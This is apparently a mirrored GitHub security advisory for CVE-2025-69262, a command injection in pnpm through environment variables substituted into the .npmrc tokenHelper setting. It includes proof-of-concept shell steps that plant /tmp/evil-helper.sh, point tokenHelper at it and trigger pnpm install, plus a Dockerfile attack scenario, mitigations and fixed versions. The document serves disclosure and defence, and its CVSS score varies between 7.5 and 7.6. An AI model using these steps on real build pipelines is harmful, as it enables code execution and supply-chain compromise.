GHSA-2phv-j68v-wwqx

Опубликовано: 07 янв. 2026

Источник: github

Github: Прошло ревью

CVSS3: 7.5

Описание

pnpm vulnerable to Command Injection via environment variable substitution

Summary

A command injection vulnerability exists in pnpm when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.

Affected Components

Package: pnpm
Versions: All versions using @pnpm/config.env-replace and loadToken functionality
File: pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts - loadToken() function
File: pnpm/config/config/src/readLocalConfig.ts - .npmrc environment variable substitution

Technical Details

Vulnerability Chain

Environment Variable Substitution
- .npmrc supports ${VAR} syntax
- Substitution occurs in readLocalConfig()
loadToken Execution
- Uses spawnSync(helperPath, { shell: true })
- Only validates absolute path existence
Attack Flow

.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH} ↓ envReplace() → /tmp/evil-helper.sh ↓ loadToken() → spawnSync(..., { shell: true }) ↓ RCE achieved

Code Evidence

pnpm/config/config/src/readLocalConfig.ts:17-18

key = envReplace(key, process.env) ini[key] = parseField(types, envReplace(val, process.env), key)

pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71

export function loadToken(helperPath: string, settingName: string): string { if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) { throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...) } const spawnResult = spawnSync(helperPath, { shell: true }) // ... }

Proof of Concept

Prerequisites

Private npm registry access
Control over environment variables
Ability to place scripts in filesystem

PoC Steps

# 1. Create malicious helper script cat > /tmp/evil-helper.sh << 'SCRIPT' #!/bin/bash echo "RCE SUCCESS!" > /tmp/rce-log.txt echo "TOKEN_12345" SCRIPT chmod +x /tmp/evil-helper.sh # 2. Create .npmrc with environment variable cat > .npmrc << 'EOF' registry=https://registry.npmjs.org/ registry.npmjs.org/:tokenHelper=${HELPER_PATH} EOF # 3. Set environment variable (attacker controlled) export HELPER_PATH=/tmp/evil-helper.sh # 4. Trigger pnpm install pnpm install # RCE occurs during auth # 5. Verify attack cat /tmp/rce-log.txt

PoC Results

==> Attack successful ==> File created: /tmp/rce-log.txt ==> Arbitrary code execution confirmed

Impact

Severity

CVSS Score: 7.6 (High)
CVSS Vector: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Affected Environments

High Risk:

CI/CD pipelines (GitHub Actions, GitLab CI)
Docker build environments
Kubernetes deployments
Private registry users

Low Risk:

Public registry only
Production runtime (no pnpm execution)
Static sites

Attack Scenarios

Scenario 1: CI/CD Supply Chain

Repository → Build Trigger → pnpm install → RCE → Production Deploy

Scenario 2: Docker Build

FROM node:20 ARG HELPER_PATH=/tmp/evil COPY .npmrc . RUN pnpm install # RCE

Scenario 3: Kubernetes

Secret Control → Env Variable → .npmrc Substitution → RCE

Mitigation

Temporary Workarounds

Disable tokenHelper:

# .npmrc # registry.npmjs.org/:tokenHelper=${HELPER_PATH}

Use direct tokens:

//registry.npmjs.org/:_authToken=YOUR_TOKEN

Audit environment variables:

Review CI/CD env vars
Restrict .npmrc changes
Monitor build logs

Recommended Fixes

Remove shell: true from loadToken
Implement helper path allowlist
Validate substituted paths
Consider sandboxing

Disclosure

Discovery: 2025-11-02
PoC: 2025-11-02
Report: [Pending disclosure decision]

References

Repository: https://github.com/pnpm/pnpm
Affected: @pnpm/config.env-replace@^3.0.2
Similar: CVE-2024-53866, CVE-2023-37478

Credit

Reported by: Jiyong Yang Contact: sy2n0@naver.com

Ссылки

Пакеты

Наименование

pnpm

npm

Затронутые версииВерсия исправления

>= 6.25.0, < 10.27.0

10.27.0

EPSS

Процентиль: 47%

0.0024

Низкий

7.5 High

CVSS3

CVE ID

CVE-2025-69262

Дефекты

CWE-78

CWE-94

Связанные уязвимости

CVE-2025-69262

CVSS3: 7.5

nvd

около 1 месяца назад

pnpm is a package manager. Versions 6.25.0 through 10.26.2 have a Command Injection vulnerability when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve Remote Code Execution (RCE) in build environments. This issue is fixed in version 10.27.0.

CVE-2025-69262

CVSS3: 7.5

debian

около 1 месяца назад

pnpm is a package manager. Versions 6.25.0 through 10.26.2 have a Comm ...

EPSS

Процентиль: 47%

0.0024

Низкий

7.5 High

CVSS3

CVE ID

CVE-2025-69262

Дефекты

CWE-78

CWE-94